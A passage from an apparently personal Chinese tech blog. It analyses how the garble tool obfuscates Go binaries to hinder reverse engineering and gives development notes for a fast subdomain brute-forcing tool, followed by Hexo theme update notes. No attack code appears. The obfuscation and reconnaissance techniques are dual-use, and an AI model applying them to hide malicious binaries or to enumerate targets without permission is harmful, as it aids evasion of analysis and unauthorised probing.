由于 Golang 的反射等机制,需要将文件路径、函数名等大量信息打包进二进制文件,这部分信息无法被 strip,所以考虑通过混淆代码的方式提高逆向难度。

本文主要通过分析 burrowers/garble 项目的实现来探索 Golang 代码混淆技术,因为相关资料较少,本文大部分内容是通过阅读源码来分析的,如有错误请师傅们在评论区或邮件指正。

前置知识

编译过程

Go 的编译过程可以抽象为:

  1. 词法分析:将字符序列转换为 token 序列
  2. 语法分析:解析 token 成 AST
  3. 类型检查
  4. 生成中间代码
  5. 生成机器码

本文不展开编译原理的内容,详细内容推荐阅读 Go 语言设计与实现 #编译原理Introduction to the Go compiler

下面我们从源码角度更直观的探索编译的过程。go build 的实现在 src/cmd/go/internal/work/build.go,忽略设置编译器类型、环境信息等处理,我们只关注最核心的部分:

func runBuild(ctx context.Context, cmd *base.Command, args []string) {
	...
  var b Builder
  ...
  pkgs := load.PackagesAndErrors(ctx, args)
  ...
	a := &Action{Mode: "go build"}
	for _, p := range pkgs {
		a.Deps = append(a.Deps, b.AutoAction(ModeBuild, depMode, p))
	}
	...
	b.Do(ctx, a)
}

这里的 Action 结构体表示一个行为,每个 action 有描述、所属包、依赖(Deps)等信息,所有关联起来的 action 构成一个 action graph。

// An Action represents a single action in the action graph.
type Action struct {
	Mode     string         // description of action operation
	Package  *load.Package  // the package this action works on
	Deps     []*Action      // actions that must happen before this one
	Func     func(*Builder, context.Context, *Action) error // the action itself (nil = no-op)
	...
}

在创建好 a 行为作为“根顶点”后,遍历命令中指定的要编译的包,为每个包创建 action,这个创建行为是递归的,创建过程中会分析它的依赖,再为依赖创建 action,例如 src/cmd/go/internal/work/action.go (b *Builder) CompileAction 方法:

for _, p1 := range p.Internal.Imports {
	a.Deps = append(a.Deps, b.CompileAction(depMode, depMode, p1))
}

最终的 a.Deps 就是 action graph 的“起点”。构造出 action graph 后,将 a 顶点作为“根”进行深度优先遍历,把依赖的 action 依次加入任务队列,最后并发执行 action.Func

每一类 action 的 Func 都有指定的方法,是 action 中核心的部分,例如:

a := &Action{
  Mode: "build",
  Func: (*Builder).build,
  ...
}

a := &Action{
  Mode: "link",
  Func: (*Builder).link,
  ...
}
...

进一步跟进会发现,除了一些必要的预处理,(*Builder).link 中会调用 BuildToolchain.ld 方法,(*Builder).build 会调用 BuildToolchain.symabisBuildToolchain.gcBuildToolchain.asmBuildToolchain.pack 等方法来实现核心功能。BuildToolchain 是 toolchain 接口类型的,定义了下列方法:

// src/cmd/go/internal/work/exec.go
type toolchain interface {
	// gc runs the compiler in a specific directory on a set of files
	// and returns the name of the generated output file.
	gc(b *Builder, a *Action, archive string, importcfg, embedcfg []byte, symabis string, asmhdr bool, gofiles []string) (ofile string, out []byte, err error)
	// cc runs the toolchain's C compiler in a directory on a C file
	// to produce an output file.
	cc(b *Builder, a *Action, ofile, cfile string) error
	// asm runs the assembler in a specific directory on specific files
	// and returns a list of named output files.
	asm(b *Builder, a *Action, sfiles []string) ([]string, error)
	// symabis scans the symbol ABIs from sfiles and returns the
	// path to the output symbol ABIs file, or "" if none.
	symabis(b *Builder, a *Action, sfiles []string) (string, error)
	// pack runs the archive packer in a specific directory to create
	// an archive from a set of object files.
	// typically it is run in the object directory.
	pack(b *Builder, a *Action, afile string, ofiles []string) error
	// ld runs the linker to create an executable starting at mainpkg.
	ld(b *Builder, root *Action, out, importcfg, mainpkg string) error
	// ldShared runs the linker to create a shared library containing the pkgs built by toplevelactions
	ldShared(b *Builder, root *Action, toplevelactions []*Action, out, importcfg string, allactions []*Action) error

	compiler() string
	linker() string
}

Go 分别为 gc 和 gccgo 编译器实现了此接口,go build 会在程序初始化时进行选择:

func init() {
	switch build.Default.Compiler {
	case "gc", "gccgo":
		buildCompiler{}.Set(build.Default.Compiler)
	}
}

func (c buildCompiler) Set(value string) error {
	switch value {
	case "gc":
		BuildToolchain = gcToolchain{}
	case "gccgo":
		BuildToolchain = gccgoToolchain{}
  ...
}

这里我们只看 gc 编译器部分 src/cmd/go/internal/work/gc.go。以 gc 方法为例:

func (gcToolchain) gc(b *Builder, a *Action, archive string, importcfg, embedcfg []byte, symabis string, asmhdr bool, gofiles []string) (ofile string, output []byte, err error) {
	// ...
	// 拼接参数
	// ...

	args := []interface{}{cfg.BuildToolexec, base.Tool("compile"), "-o", ofile, "-trimpath", a.trimpath(), gcflags, gcargs, "-D", p.Internal.LocalPrefix}

	// ...

	output, err = b.runOut(a, base.Cwd, nil, args...)
	return ofile, output, err
}

粗略的看,其实 gc 方法并没有实现具体的编译工作,它的主要作用是拼接命令来调用路径为 base.Tool("compile") 的二进制程序。这些程序可以被称为 Go 编译工具,位于 pkg/tool 目录下,源码位于 src/cmd。同理,其他的方法也是调用了相应的编译工具完成实际的编译工作。

细心的读者可能会发现一个有趣的问题:拼接的命令中真正的运行对象并不是编译工具,而是 cfg.BuildToolexec。跟进到定义处可知它是由 go build -toolexec 参数设置的,官方释义为:

-toolexec 'cmd args'
  a program to use to invoke toolchain programs like vet and asm.
  For example, instead of running asm, the go command will run
  'cmd args /path/to/asm <arguments for asm>'.

即用 -toolexec 指定的程序来运行编译工具。这其实可以看作是一个 hook 机制,利用这个参数来指定一个我们的程序,在编译时用这个程序调用编译工具,从而介入编译过程,下文中分析的 garble 项目就是使用了这种思路。附一段从编译过程中截取的命令( go build -n 参数可以输出执行的命令)方便理解,比如我们指定了 -toolexec=/home/atom/go/bin/garble,那么编译时实际执行的就是:

/home/atom/go/bin/garble /usr/local/go/pkg/tool/linux_amd64/compile -o $WORK/b016/_pkg_.a -trimpath "/usr/local/go/src/sync=>sync;$WORK/b016=>" -p sync -std -buildid FRNt7EHDh77qHujLKnmK/FRNt7EHDh77qHujLKnmK -goversion go1.16.4 -D "" -importcfg $WORK/b016/importcfg -pack -c=4 /usr/local/go/src/sync/cond.go /usr/local/go/src/sync/map.go /usr/local/go/src/sync/mutex.go /usr/local/go/src/sync/once.go /usr/local/go/src/sync/pool.go /usr/local/go/src/sync/poolqueue.go /usr/local/go/src/sync/runtime.go /usr/local/go/src/sync/runtime2.go /usr/local/go/src/sync/rwmutex.go /usr/local/go/src/sync/waitgroup.go

总结一下,go build 通过拼接命令的方式调用 compile 等编译工具来实现具体的编译工作,我们可以使用 go build -toolexec 参数来指定一个程序“介入”编译过程。

go/ast

Golang 中 AST 的类型及方法由 go/ast 标准库定义。后文分析的 garble 项目中会有大量涉及 go/ast 的类型断言和类型选择,所以有必要对这些类型有大致了解。大部分类型定义在 src/go/ast/ast.go ,其中的注释足够详细,但为了方便梳理关系,笔者整理了关系图,图中的分叉代表继承关系,所有类型都基于 Node 接口:

本文无意去深入探究 AST,但相信读者只要对 AST 有基础的了解就足以理解本文的后续内容。如果理解困难,建议阅读 Go 语法树入门——开启自制编程语言和编译器之旅! 补充需要的知识,也可以通过在线工具 goast-viewer 将 AST 可视化来辅助分析。

工具分析

开源社区中关于 Go 代码混淆 star 比较多的两个项目是 burrowers/garbleunixpickle/gobfuscate,前者的特性更新一些,所以本文主要分析 garble,版本 8edde922ee5189f1d049edb9487e6090dd9d45bd

特性

  • 支持 modules,Go 1.16+
  • 不处理以下情况:
    • CGO
    • ignoreObjects 标记的:
      • 传入 reflect.ValueOfreflect.TypeOf 方法的参数的类型
      • go:linkname 中使用的函数
      • 导出的方法
      • 从未混淆的包中引入的类型和变量
      • 常量
    • runtime 及其依赖的包(support obfuscating the runtime package #193
    • Go 插件
  • 哈希处理符合条件的包、函数、变量、类型等的名称
  • 将字符串替换为匿名函数
  • 移除调试信息、符号表
  • 可以设置 -debugdir 输出混淆过的 Go 代码
  • 可以指定不同的种子以混淆出不同的结果

整体上可以将 garble 分为两种模式:

  • 主动模式:当命令传入的第一个指令与 garble 的预设相匹配时,代表是被用户主动调用的。此阶段会根据参数进行配置、获取依赖包信息等,然后将配置持久化。如果指令是 build 或 test,则再向命令中添加 -toolexec=path/to/garble 将自己设置为编译工具的启动器,引出启动器模式
  • 启动器模式:对 tool/asm/link 这三个工具进行“拦截”,在编译工具运行前进行源代码混淆、修改运行参数等操作,最后运行工具编译混淆后的代码

获取和修改参数的工作花费了大量的代码,为了方便分析,后文会将其一笔带过,感兴趣的读者可以查询官方文档来了解各个参数的作用。

构造目标列表

构造目标列表的行为发生在主动模式中,截取部分重要的代码:

// listedPackage contains the 'go list -json -export' fields obtained by the
// root process, shared with all garble sub-processes via a file.
type listedPackage struct {
	Name       string
	ImportPath string
	ForTest    string
	Export     string
	BuildID    string
	Deps       []string
	ImportMap  map[string]string
	Standard   bool

	Dir     string
	GoFiles []string

	// The fields below are not part of 'go list', but are still reused
	// between garble processes. Use "Garble" as a prefix to ensure no
	// collisions with the JSON fields from 'go list'.

	GarbleActionID []byte

	Private bool
}

func setListedPackages(patterns []string) error {
  args := []string{"list", "-json", "-deps", "-export", "-trimpath"}
  args = append(args, cache.BuildFlags...)
  args = append(args, patterns...)
  cmd := exec.Command("go", args...)
  ...
  cache.ListedPackages = make(map[string]*listedPackage)
  for ...{
    var pkg listedPackage
    ...
    cache.ListedPackages[pkg.ImportPath] = &pkg
    ...
  }
}

核心是利用 go list 命令,其中指定的 -deps 参数官方释义为:

The -deps flag causes list to iterate over not just the named packages but also all their dependencies. It visits them in a depth-first post-order traversal, so that a package is listed only after all its dependencies. Packages not explicitly listed on the command line will have the DepOnly field set to true.

这里的遍历其实与前文分析的 go build 创建 action 时的很相似。通过这条命令 garble 可以获取到项目所有的依赖信息(包括间接依赖),遍历并存入 cache.ListedPackages。除此之外还要标记各个依赖包是否在 env.GOPRIVATE 目录下,只有此目录下的文件才会被混淆(特例是使用了 -tiny 参数时会处理一部分 runtime)。可以通过设置环境变量 GOPRIVATE="*" 来扩大范围以获得更好的混淆效果。关于混淆范围的问题,garble 的作者也在尝试优化:idea: break away from GOPRIVATE? #276

至此,需要混淆的目标已经明确。加上一些保存配置信息的操作,主动模式的任务已基本完成,然后就可以运行拼接起的命令,引出启动器模式。

启动器模式中会对 compile/asm/link 这三个编译器工具进行拦截并“介入编译过程”,打起引号是因为 garble 实际上并没有完成任何实际的编译工作,如同 go build ,它只是作为中间商修改了源代码或者修改了命令中传给编译工具的参数,最后还是要依靠这三个编译工具来实现具体的编译工作,下面逐一分析。

compile

实现位于 main.go transformCompile 函数,主要工作是处理 go 文件和修改命令参数。go build -n 参数可以输出执行的命令,我们可以在使用 garble 时传入这个参数来更直观的了解编译过程。截取其中一条:

/home/atom/go/bin/garble /usr/local/go/pkg/tool/linux_amd64/compile -o $WORK/b016/_pkg_.a -trimpath "/usr/local/go/src/sync=>sync;$WORK/b016=>" -p sync -std -buildid FRNt7EHDh77qHujLKnmK/FRNt7EHDh77qHujLKnmK -goversion go1.16.4 -D "" -importcfg $WORK/b016/importcfg -pack -c=4 /usr/local/go/src/sync/cond.go /usr/local/go/src/sync/map.go /usr/local/go/src/sync/mutex.go /usr/local/go/src/sync/once.go /usr/local/go/src/sync/pool.go /usr/local/go/src/sync/poolqueue.go /usr/local/go/src/sync/runtime.go /usr/local/go/src/sync/runtime2.go /usr/local/go/src/sync/rwmutex.go /usr/local/go/src/sync/waitgroup.go

这条命令使用 compile 编译工具来将 cond.go 等诸多文件编译成中间代码。garble 识别到当前的编译工具是 compile,于是”拦截“,在工具运行前做一些混淆等工作。下面分析一下相对重要的部分。

首先要将传入的 go 文件解析成 AST:

var files []*ast.File
for _, path := range paths {
  file, err := parser.ParseFile(fset, path, nil, parser.ParseComments)
  if err != nil {
    return nil, err
  }
  files = append(files, file)
}

然后进行类型检查, 这也是正常编译时会进行的一步,类型检查不通过则代表文件无法编译成功,程序退出。

因为参与反射(reflect.ValueOf / reflect.TypeOf)的节点的类型名称可能会在后续逻辑中使用,所以不能对其名称进行混淆:

if fnType.Pkg().Path() == "reflect" && (fnType.Name() == "TypeOf" || fnType.Name() == "ValueOf") {
  for _, arg := range call.Args {
    argType := tf.info.TypeOf(arg)
    tf.recordIgnore(argType, tf.pkg.Path())
  }
}

这里引出了一个贯穿每次 compile 生命周期的重要 map,记录了所有不能进行混淆的对象:用在反射参数的类型,用在常量表达式和 go:linkname 的标识符,从没被混淆的包中引入的变量和类型:

// ignoreObjects records all the objects we cannot obfuscate. An object
// is any named entity, such as a declared variable or type.
//
// So far, this map records:
//
//  * Types which are used for reflection; see recordReflectArgs.
//  * Identifiers used in constant expressions; see RecordUsedAsConstants.
//  * Identifiers used in go:linkname directives; see handleDirectives.
//  * Types or variables from external packages which were not
//    obfuscated, for caching reasons; see transformGo.
ignoreObjects map[types.Object]bool

我们以判别「用在常量表达式中的标识符」且类型是 ast.GenDecl 的情况为例:

// RecordUsedAsConstants records identifieres used in constant expressions.
func RecordUsedAsConstants(node ast.Node, info *types.Info, ignoreObj map[types.Object]bool) {
	visit := func(node ast.Node) bool {
		ident, ok := node.(*ast.Ident)
		if !ok {
			return true
		}

		// Only record *types.Const objects.
		// Other objects, such as builtins or type names,
		// must not be recorded as they would be false positives.
		obj := info.ObjectOf(ident)
		if _, ok := obj.(*types.Const); ok {
			ignoreObj[obj] = true
		}

		return true
	}

	switch x := node.(type) {
	...
	// in a const declaration all values must be constant representable
	case *ast.GenDecl:
		if x.Tok != token.CONST {
			break
		}
		for _, spec := range x.Specs {
			spec := spec.(*ast.ValueSpec)

			for _, val := range spec.Values {
				ast.Inspect(val, visit)
			}
		}
	}
}

假设需要混淆的代码是:

package obfuscate

const (
	H2 string = "a"
	H4 string = "a" + H2
	H3 int    = 123
	H5 string = "a"
)

可以看到用于常量表达式的标识符是 H2,我们通过代码分析一下判定过程。首先整个 const 块符合 ast.GenDecl 类型,然后遍历其 Specs(每个定义),对每个 spec 遍历其 Values(等号右边的表达式),再对 val 中的元素使用 ast.Inspect() 遍历执行 visit(),如果元素节点的类型是 ast.Ident 且指向的 obj 的类型是 types.Const,则将此 obj 记入 tf.recordIgnore。有点绕,我们把 AST 打印出来看:

可以很清晰地看到 H4 string = "a" + H2 中的 H2 完全符合条件,所以应该被记入 tf.recordIgnore。接下来要分析的功能中会涉及到大量类型断言和类型选择,看起来复杂但本质上与刚刚的分析过程类似,我们只要将写个 demo 并打印出 AST 就很容易理解了。

回到 main.go transformCompile。接下来对当前的包名进行混淆并写入命令参数和源文件中,要求文件既不是 main 包,也不在 env.GOPRIVATE 目录之外。下一步将处理注释和源代码,这里会对 runtime 和 CGO 单独处理,我们大可忽略,直接看对普通 Go 代码的处理:

// transformGo obfuscates the provided Go syntax file.
func (tf *transformer) transformGo(file *ast.File) *ast.File {
	if opts.GarbleLiterals {
		file = literals.Obfuscate(file, tf.info, fset, tf.ignoreObjects)
	}

	pre := func(cursor *astutil.Cursor) bool {...}
	post := func(cursor *astutil.Cursor) bool {...}

	return astutil.Apply(file, pre, post).(*ast.File)
}

首先混淆字符,然后递归处理 AST 的每个节点,最后返回处理完成的 AST。这几部分的思路很相似,都是利用 astutil.Apply(file, pre, post) 进行 AST 的递归处理,其中 pre 和 post 函数分别用于访问孩子节点前和访问后。这部分的代码大都是比较繁琐的筛选操作,下面仅作简要分析:

  • literals.Obfuscate pre

    跳过如下情况:值需要推导的、含有非基础类型的、类型需要推导的(隐式类型定义)、ignoreObj 标记了的常量。将通过筛选的常量的 token 由 const 改为 var,方便后续用匿名函数代替常量值,但如果一个 const 块中有一个不能被改为 var,则整个块都不会被修改。

  • literals.Obfuscate post

    将字符串、byte 切片或数组的值替换为匿名函数,效果如图:

  • transformGo pre

    跳过名称中含有 _(未命名) _C / _cgo (cgo 代码)的节点,若是嵌入字段则要找到实际要处理的 obj,再根据 obj 的类型继续细分筛选:

    • types.Var :跳过非全局变量,若是字段则则将其结构体的类型名作为 hash salt,如果字段所属结构体是未被混淆的,则记入 tf.ignoreObjects
    • types.TypeName:跳过非全局类型,若该类型在定义处没有混淆,则跳过
    • types.Func:跳过导出的方法、main/ init/TestMain 函数 、测试函数

    若节点通过筛选,则将其名称进行哈希处理

  • transformGo post:哈希处理导入路径

至此已经完成了对源代码的混淆,只需要将新的代码写入临时目录,并把地址拼接到命令中代替原文件路径,一条新的 compile 命令就完成了,最后执行这条命令就可以使用编译工具编译混淆后的代码。

asm

比较简单,只作用于 private 的包,核心操作如下:

  • 将临时文件夹路径添加到 -trimpath 参数首部
  • 将调用的函数的名称替换为混淆后的,Go 汇编文件中调用的函数名前都有 ·,以此为特征搜索

link

比较简单,核心操作如下:

  • -X pkg.name=str 参数标记的包名(pkg)、变量名(name)替换为混淆后的
  • -buildid 参数置空以避免 build id 泄露
  • 添加 -w -s 参数以移除调试信息、符号表、DWARF 符号表

混淆效果

编写一小段代码,分别进行 go build .go env -w GOPRIVATE="*" && garble -literals build . 两次编译。可以看到左侧很简单的代码经过混淆后变得难以阅读:

再放入 IDA 中用 go_parser 解析一下。混淆前的文件名函数名等信息清晰可见,代码逻辑也算工整:

混淆后函数名等信息被乱码替代,且因为字符串被替换为了匿名函数,代码逻辑混乱了许多:

当项目更大含有更多依赖时,代码混淆所带来的混乱会更加严重,且由于第三方依赖包也被混淆,逆向破解时就无法通过引入的第三方包来猜测代码逻辑。

总结

本文从源码实现的角度探究了 Golang 编译调用工具链的大致流程以及 burrowers/garble 项目,了解了如何利用 go/ast 对代码进行混淆处理。通过混淆处理,代码的逻辑结构、二进制文件中存留的信息变得难以阅读,显著提高了逆向破解的难度。

「SF」子域名搜集工具开发小结

2021年3月11日 16:34

SF 是一个 Golang 开发的高性能的子域名搜集工具,支持字典爆破等搜集方式。项目地址:github.com/0x2E/sf

开发过程中学习了很多文章(见文末),感谢师傅们的分享,于是我也把遇到的几个有意思的点整理了出来。

字典爆破

简易版

net 库提供的 lookup 系列函数不能指定 DNS 服务器,所以用了 miekg/dns,调用起来很简单:

func lookup(domain string, resolver string, retry int) string {
  m := new(dns.Msg)
  m.SetQuestion(domain, dns.TypeA) // 默认要求递归
  var r *dns.Msg
  var err error
  for i := 0; i <= retry; i++ {
    r, err = dns.Exchange(m, resolver) // 默认2秒超时
    if err == nil {
      break
    }
  }
  if err != nil { // 重试之后仍有错误
    fmt.Print("lookup error: " + domain + " - " + err.Error())
    return ""
  }
  if r.Rcode != dns.RcodeSuccess || len(r.Answer) == 0 {
    return ""
  }
  res := strings.Replace(r.Answer[0].String(), r.Answer[0].Header().String(), "", 1) // https://github.com/miekg/dns/issues/1204#issuecomment-751648288
  fmt.Print(res)
  return res
}

当然,用起来简单是有代价的,dns.Exchange 发送 DNS 请求的过程经过了一次完整的 socket 生命周期(创建,发送,接收,关闭),会造成两个问题:

  • 额外开销巨大

因为每次都要创建和关闭 socket,造成了大量的资源消耗,在火焰图上用于发送和接收的 dns.(*Client).ExchangeWithConn 的时间仅仅占 25.5%,创建 socket 的消耗几乎是读写的两倍。在测试过程中,开 2w 并发时 CPU 占有率基本维持在 50%,刚启动时甚至会在 90% 停留许久。

  • 系统可用端口数不足

因为每个 socket 都是占用一个临时端口,如果并发开的太大可能撞上系统的最大临时端口数或最大文件打开数的限制,满屏的报错。(尝试从大于 5000 的 TCP 端口进行连接时 (错误"WSAENOBUFS) 10055)

优化版

既然明确了问题出自 socket 的大量的创建/关闭操作,那么针对此进行优化:保持 socket 的开启状态,然后手动构造 DNS 报文并写入 UDP 包,持续发送,另开一个 goroutine 持续接收。

涉及到 DNS 报文的构造和解析,需要对 DNS 报文格式有初步了解,挺简单的,参考 Writing DNS messages from scratch using GoLet's hand write DNS messagesDNS 请求报文详解。第一篇文章中实现了一个库,我把其中需要的函数整理了一下(0x2E/rawdns)来更方便地构造和解析 DNS 报文:

package main

import (
  "github.com/0x2E/rawdns"
  "net"
)

func main() {
  // create socket
  conn, _ := net.Dial("udp", "8.8.8.8:53")
  defer conn.Close()

  // construct DNS packet content
  payload, _ := rawdns.Marshal(33, 1, "github.com", rawdns.QTypeA)

  // send UDP packet
  _, _ = conn.Write(payload)

  // receive UDP packet
  buf := make([]byte, 0, 1024)
  n, _ := conn.Read(buf)

  // parse
  resp, _ := rawdns.Unmarshal(buf[:n])
}

为了防止发送过快但接收跟不上而冲爆缓存,还需设置一个任务队列来尽量同步发送和接收的速度。

优化后效果显著,设队列大小为 200,使用 200 并发来爆破 10w 的字典用时 17 秒,与优化前基本相同,但 CPU 占用率降到了 15% 以内,火焰图中已经看不到 net.(*Dialer).Dial 的影子了。

泛解析

没有万全之策

目前的解决思路基本是:

  1. 通过查询随机生成的子域名,构造 IP 黑名单
  2. 权威服务器中泛解析有相同 TTL
  3. 比较 DNS 响应的相似度
  4. 比较网页的相似度

即便不考虑性能问题,使用「匹配 IP 黑名单 ⇒ 比较 TTL ⇒ 比较 DNS 响应相似度 ⇒ 比较网页相似度」这一整套检测流程,看似全面,实则 naive,试想这种情况下还能否准确识别:某企业将部分域名泛解析到多台反向代理,再由反代根据域名转发到具体业务应用上,业务应用还会先检查登录状态以跳转到统一登录页。

如 FEEI 师傅的枚举子域名文中所说:

目前最好的解决方式是通过先获取一个绝对不存在域名的响应内容,再遍历获取每个字典对应的子域名的响应内容,通过和不存在域名的内容做相似度比对,来枚举子域名,但这样的实现是以牺牲速度为代价。 但这样还是存在问题,比如蘑菇街的商家是有自定义子域名功能的,他可以配置 sports.mogujie.com 为他的店铺域名,而所有店铺的响应内容是相似的。 这样就会导致虽然这些店铺域名和不存在的域名的响应内容不相似,但在最终的域名集合中有非常多的店铺自定义域名,这些域名对于漏洞扫描来说只需要有一个即可。 若再次对所有子域名进行响应相似度比对的话,又会出现新的问题,部分系统设计时,如果未登录可能跳统一登录页,会导致大量误杀。

尽力优化

SF 的泛解析处理分为两种模式:

  1. 宽松模式:仅匹配 IP 黑名单
  2. 严格模式:匹配 IP 黑名单 ⇒ 比较网页标题相似度。若无法访问 80 端口,则退化为宽松模式

本地测试了一下计算字符串相似度时,字符串的长度会引起耗时呈 3 倍左右增加。鉴于标题的作用即是概述网页主体的内容,所以这里选用了标题进行相似度比较。

这是基于域名主体会严格限制标题格式的前提下,如京东等网店子域名(下图)。如果要问「那爆破 github.io 这类服务的子域名怎么办」,你爆破 github.io 干什么?

另外,可以看到两种模式都没有使用 TTL 参与匹配,因为其在非权威服务器上是持续衰减的,不能作为比较条件,所以还需要向权威服务器查询该域名的 TTL。在用百万大字典爆破泛解析大站时,会产生巨大的额外任务量,还有可能被权威服务器当作 DDos 而关进小黑屋。这仅仅为了甄别正常解析到了与泛解析相同 IP 的情况,性价比太低。甚至还有下图这种把所有不存在域名都随机返回一个无效 IP 的带恶人,测了一下大概有 580 个无效 IP 轮换使用,不知道是用了谁家的防护。

遗留问题

  • 某些情况下无法获取网页标题

获取标题处使用的是 http.Get 函数获取网页 HTML 然后正则匹配出标题,很明显这无法适用于 SPA 网站,另外虽然可以跟随 301 等跳转,但无法根据 HTML 标签跳转,如百度:

<html>
    <meta http-equiv="refresh" content="0;url=http://www.baidu.com/" />
</html>
  • 无法处理跳转到类似「统一登录页」的情况

可能的解决方法:从 url 中搜索类似 returnUrl 之类的参数,或者正则匹配 IP/url 以找到登陆后跳转的页面。那么新的问题又来了,有的网站会将链接进行特殊编码,如何解码呢。

  • 缺少重试机制 (2021.3.22 更新:906ec18 已完成)

爆破的结果不够稳定,初步判断是链路上会丢包,设置重试机制应该能解决问题。不想在内存设置一个状态表,担心会产生大量 lock/unlock,所以暂时没想好该怎么设计。

  • 输出内容不清晰

在终端中的输出内容较少、不清晰,不利于使用时的排错,需要重写 logger 模块。缺少进度条。

参考资料

从 Material-T 到 Fluid

2019年9月24日 17:30

关于项目转移

用 Material-T 的同学应该注意到了,Material-T 已经更名为 Fluid 并转移到了 Fluid-dev 组织。之前在 issue #74 里简单解释了一下,其实原因也就是那么简单,我觉得 Material-T 交给社区比在我手里更靠谱,之前跟 @zkqiang 老哥合作开发的过程很流畅,也让我确信社区合作式的工作流不会增加时间成本(废话😂)。

下面简单说一下最近的更新,写完这篇以后就不再针对主题的更新水博客了,Release 里写的很清楚,我再 bb 就没必要了。

新功能

配置自动合并

对于 Hexo 主题更新这个大难题,总归是做了一次尝试,从 Theme configurations using Hexo data files 学来的(NexT 牛逼),现在体验还不错。

思路就是利用 Hexo 的数据文件功能,此功能要求 Hexo 3.0+。

有时您可能需要在主题中使用某些资料,而这些资料并不在文章内,并且是需要重复使用的,那么您可以考虑使用 Hexo 3.0 新增的「数据文件」功能。此功能会载入 source/_data 内的 YAML 或 JSON 文件,如此一来您便能在网站中复用这些文件了。

具体配置请参考文档和 实现平滑升级

自定义静态资源地址

(v1.5.0 版本及以上)如果需要使用 CDN 或其他方式存放静态资源:将 _static_prefix.yml 复制到博客根目录的 /source/_data/ 中,重命名为 fluid_static_prefix.yml并按自己的需求修改配置。若 _data/fluid_static_prefix.yml 存在则会自动覆盖 /theme/fluid/_static_prefix.yml

博客托管在 GitHub Page 的话可能对有些地区访问速度不太友好,所以可以将第三方的资源引用改为靠谱的公共 CDN 服务商,比如 cdnjsjsDelivr。有家底的同学可以用自己的 CDN 服务。

比如我的博客是托管在 GitHub Pages 的,国内访问速度不理想,而 jsDelivr 有在大陆部署节点,而且可以直接缓存 GitHub 仓库中的文件,所以选择 jsDelivr 优化一下加载速度。比如 fluid/source/lib/ 中的各种第三方库,我用 https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib 作为前缀,这个 url 的各个部分的意思即为:

gh => 从 GitHub 拉取资源
fluid-dev/hexo-theme-fluid => github.com/fluid-dev/hexo-theme-fluid 仓库
@1.5.0 => 指定版本 release v1.5.0
source/lib => 仓库的相应目录

这里只针对 source/lib 目录下的资源,是因为 source/js source/css source/img 的文件较小且没有全部用到,没必要上 CDN,而且 CSS 文件需要实时编译。source/lib 下的文件是稳定的,直接引用就可以了。

上述方式修改之后的 fluid_static_prefix.yml

internal_js: /js
internal_css: /css
internal_img: /img

anchor: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/anchor

font_awesome: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/font-awesome

github_markdown: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/github-markdown

jquery: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/jquery

bootstrap: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/bootstrap

mdbootstrap: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/mdbootstrap

popper: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/popper

prettify: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/prettify

prettify_theme: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/prettify

tocbot: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/tocbot

typed: https://cdn.jsdelivr.net/gh/fluid-dev/hexo-theme-fluid@1.5.0/source/lib/typed

经过测试,效果是很显著的,原本不挂代理需要 10s 左右才能显示轮廓的首页,使用 jsdelivr 配合懒加载功能,现在不挂代理也仅仅需要 1s。以后在更新的时候只需要把 1.5.0 改为相应的版本号即可。

当然也可以选择各个第三方库对应的 CDN,但要注意选用对应的版本。

lazyload

Fluid 也算是比较靠图片的主题,优秀的图片搭配会引导整个站点的风格。为了提高首屏加载速度(主要是我也不会优化其他的....),给图片做了懒加载,只有出现在视口的图片才会加载 现在是提前一段滚动距离加载。本想用现成的 lazysizes 库实现,但是实践的时候刷到了 图片 lazyload 的学问和在 Hexo 上的最佳实践,其中提到的思路是利用 srcset 属性优先级高于 src 的特性,既保证不支持 srcset 的爬虫、RSS 阅读器等可以读到 src 属性不至于抓取到一个有空白占位图的页面中,又可以让页面初次渲染的时候只加载很小的 loading 图。具体的实现参考了文中的代码,填了一些坑。

其他

  • 新配置项 about.md_path 用于指定 about.md 的路径
  • i18n && 中英 README 什么叫国际化主题啊(战术后仰)
  • 向下滚屏 && 向顶部滚屏

优化

  • 新 logo
  • 延迟打字机效果:#65
  • 统一默认的 banner_img:精简主题包大小,统一默认的风格
  • 可以指定 about.md 的存放位置:方便实现平滑更新
  • 优化首页文章摘要区的高度限制:当手动设置摘要时(摘要优先级:手动 > 自动),首页文章摘要区的高度不再锁定。方便喜欢不加文章缩略图的同学展示更多文章内容。如果已为文章添加首页缩略图,建议开启自动摘要或手动设置字数合适的摘要。

bug fix

  • 修复 valine 加载问题
  • 移除顶部进度条
  • 修复读取文件时路径错误

平滑更新指北

当前利用了数据文件的 Fluid 已经可以实现平滑更新了:下载最新 Release 并解压、改名、直接覆盖原主题即可。 当然需要做以下前提准备:

  1. 在 Hexo 的 source 目录下新建 _data 文件夹
  2. 将 Fluid 中的 _config.yml 和 _static_prefix.yml 拷贝到步骤 1 的文件夹中,分别改名为 fluid_config.yml 和 fluid_static_prefix.yml
  3. 将自定义的资源文件移动到主题之外,比如图片存放到 /source/images/,about.md 存放到 /source/about.md
  4. 将主题配置中的 banner_img、about.md 修改为上一步自定义的存放位置。比如按照如上配置的话,图片链接就是 /img/your_img_name.png,about.md 的位置就是 ../../source/about.md
  5. 下次更新就只需要用新的 Release 覆盖旧 Fluid 文件夹就可以了。当然也需要关注一下更新内容有没有涉及到配置文件或静态资源文件,及时更新存放在 /source/_data 下的数据文件

我的透明代理方案 1.0

2023年6月26日 04:27

我的全局透明代理已经运行一年多,简单稳定。近期有些优化的想法,试验前先用本文给目前的方案打个版本号。

以下配置都是简化后的片段,仅供参考。

主路由/OpenWRT

